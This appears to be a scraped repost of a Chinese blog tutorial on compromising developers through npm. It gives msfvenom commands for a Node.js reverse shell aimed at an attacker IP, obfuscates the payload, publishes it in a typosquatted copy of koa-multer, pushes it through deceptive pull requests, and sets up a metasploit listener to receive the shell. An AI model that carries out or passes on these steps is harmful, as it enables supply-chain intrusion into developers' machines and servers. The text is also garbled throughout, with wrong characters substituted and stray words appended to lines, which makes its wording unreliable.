本文首发于个人知乎专栏HackingSexy:zhuanlan.zhihu.com/p/43514079javascript
这篇文章讲述了从一个黑客的角度,以渗透前端项目为目标,从生成 payload,混淆,隐藏 payload,发布 npm,社会工程学提 PR,运行脚本,反向链接到攻击主机,最终主机拿到服务器 shell 的故事。css
前端工程师的口头禅是啥?npm install!前端
这个命令从 npm 仓库中下载一堆从项目 package.json 中声明的依赖,下载完依赖后,再下载依赖中 package.json 声明的依赖,下载完依赖的依赖后,再下载依赖中 package.json 声明的依赖中的 package.json 声明的依赖,下载完依赖后…………java
而后下了一堆你都不知道从哪里来的 npm 包。node
前端工程师的另外一个口头禅是什么?npm run dev!mysql
嗯!界面显示 compile successful!很完美的一次编译!你以为是时候展现真正的技术了!react
此时,在网线的另外一端,一个黑客微微一笑:又有一个肉鸡上线了。git
这中间都发生了什么?github
经验丰富的金鱼佬都知道,要钓鱼,是确定要先作鱼钩的。黑客也要钓鱼,鱼钩是啥?在黑客的世界里,有一个鱼钩店,叫作 msfvenom,专治各类款(架)式(构),各类型(语)号(言)的鱼(机器)。msfvenom 是 metasploit 的一部分,集成在了 Kali 系统里面。在 Kali 的官网,有现成的虚拟机镜像,下载了就能用。sql
在 Kali 的 Terminal 里输入:
msfvenom -l | grep node
能够列出全部支持 Node.js 的 payload。这至关于到店里问:老板!我要买鱼钩!要能钓 Node.js 的那种!老板:好嘞!要哪款?
在这里,咱们选择 nodejs/shell_reverse_tcp,其实业界最经常使用的 payload 是 meterpreter,可是这款鱼钩还没上市:
如何生成咱们的 payload 呢,输入:
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.199.165 LPORT=5432 -o index.js
这里说一下配置的参数:
敲完命令以后,咱们能够在当前目录拿到一个名为 index.js 的 payload,也就是咱们刚买到的鱼钩。payload 很小很小,只有 803 字节。用
cat index.js
命令,能够看到 payload 长什么样。
这时候警觉的前端就会跳出来说:胸底,你这代码里又调用 cmd 又调用 /bin/sh,还把攻击 IP 和端口都暴露出来了,傻子才会运行你的代码哦?
别急嘛,好戏才刚刚开始。
传统的杀毒软件,是经过检测文件特定字符来肯定病毒特征的,而经过修改特征码绕过杀毒软件的检测,咱们称之为免杀。
而 JavaScript 的变化,简直比海贼王里的路飞还要伸缩自如。
举个例子,一行简单的代码:
alert(1)
用 jsfuck 能把它变得连老妈都认不出来:
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
复制代码
固然咱们不用 jsfuck,由于混淆事后的代码太大了。
前端喜欢用 UglifyJS 来压缩代码,但在这场景下,也许不是最优解。咱们用 JavaScript Obfuscator Tool。
复制 payload,打开 obfuscator.io/ ,粘贴,根据你的口味选择须要添加的混淆方法,点击 Obfuscate,一道菜就完成了。
如今已经没有人类能读懂这段代码了,混淆任务完成。
npm 是共产主义的大粮仓,任何人均可以贡献本身的代码到 npm 上去。可是如何让别人下载咱们的代码呢?这是一门高深的学问。
常规的思路是,作一个和正常 npm 包名字很像的包名,譬如 koa-multer,能够作一个 koa_multer,而后总有一些人会打错字,下载到包含 payload 的包。这是一个几率问题,下载 koa-multer 的总量越大,下载 koa_multer 的量也越大。
以 koa-multer 为例,咱们先把代码 clone 下载下来。
git clone github.com/koa-modules…
把咱们生成的 payload 复制到项目路径下,并在 index.js 中引入这个文件。
把 package.json 和 README.md 里全部的 koa-multer 改为 koa_multer,并在 package.json 的 files 声明 payload 的文件名,咱们就作好了一个带有 payload 的 npm 包。
拿到这个包,就能够发布到 npm 源了:
npm publish
为了演示,我在本地搭了一个 npm 服务器。
能够看到这个包和正确的 koa-multer 几乎同样。若是不深究源码,前端不会发现本身下载了一个错误的包。
接下来要作的事情是,等。就像钓鱼同样,须要耐心。
这时候警觉的前端工程师会跳出来讲:你这包一看就知道是坑人的,我确定不会蠢到安装这种包!
别急,还有其余方法。
另外一个思路是,作一个通用的 npm 包,譬如能 log 出五彩斑斓颜色的包,而后去给其余的开源项目提 PR:
我帮你修复了问题 XXX,还加上了彩色 logger 的功能!
咱们是在给开源社区作贡献呐!
固然,警觉的人会拒绝这个 PR。但这也不要紧,提的 PR 多了,总会有人上钩的。
一个 npm 包被伪造不是问题,一个恶意的 PR 被不知名的项目 Approve 也不是问题。就像一个请求不能叫攻击,可是几百万的请求打过来的时候,你就知道 DDOS 有多可怕。
黑客彻底能够把下载 npm 包,伪造代码并发布这段逻辑自动化。以后,就不只仅是 koa_multer 的问题了,你须要提防 koa-multe,multer-koa,koa-multer-middleware 等等各类奇奇怪怪的 npm 包,还要区分"_"和"-"的区别,固然,也不只仅是 koa-multer 这个包,其余全部的包均可以如法炮制。
就算再警觉,再当心,总有你注意不到的地方。就像刀剑不入的阿喀琉斯,也会有脚后跟中箭的一天。
另外,大多数 npm 包都是层级依赖关系,你能确保你的 package.json 中不可能声明有木马的包,可是你能确保你所依赖的包,这些包的做者,也和你同样警觉,不会大意?
黑客这边,须要准备好 handler。
输入:
msfconsole
进入metasploit的控制台。而后输入:
use exploit/multi/handler
使用 handler 模块。并在 handler 模块中设置 payload,攻击主机 IP,攻击主机端口,并启动监听:
set payload nodejs/shell_reverse_tcp set LHOST 192.168.199.165 set LPORT 5432 run
如图,反向TCP监听已经成功启动:
这时候,小白鼠跑了 koa_multer 里的 demo 代码!
黑客这边,立刻能得到这个 shell 的会话:
在这里,黑客得到了启动该 Node.js 程序的用户权限,能够执行任何该用户容许执行的命令。譬如查看操做系统,查看 CPU 型号………
sw_vers # 查看操做系统
sysctl -n machdep.cpu.brand_string # 查看操做系统
若是这个程序部署到了生产环境服务器,那么黑客将能得到这个服务器的shell权限。
内网渗透,脱裤,种马,导流……拿到 shell 真的能够随心所欲。
还没完呢,精彩还在后头。
在 2017 年 7 月份,有人对 npm 的帐号作了一次弱口令检测,检测结果是:
有弱口令问题帐号所发布的 npm 包,占据了整站的 14%。
因为 npm 包的存在形式相互依赖,由这 14% 的包引起的安全问题,影响到其余的包,占据了整站的 54%。
那就意味着,你每 npm install 两次,就会有一次安装到不安全的包。这不是危言耸听。大名鼎鼎 koa.js,发布的密码是 "password";react、gulp 等明星项目也不能幸免。下面列举一些其余受弱口令问题影响的 npm 包,相信总有你熟悉的名字:
npm 到如今都没发生过大规模的安全性问题,纯属是运气好。
因此,让咱们祝愿 npm 永远幸运吧。
Note:本文旨在交流探讨,做者没有渗透过任何系统。如根据本文思想进行渗透,读者须自行承担风险和责任。做者不承担任何责任。
参考文档: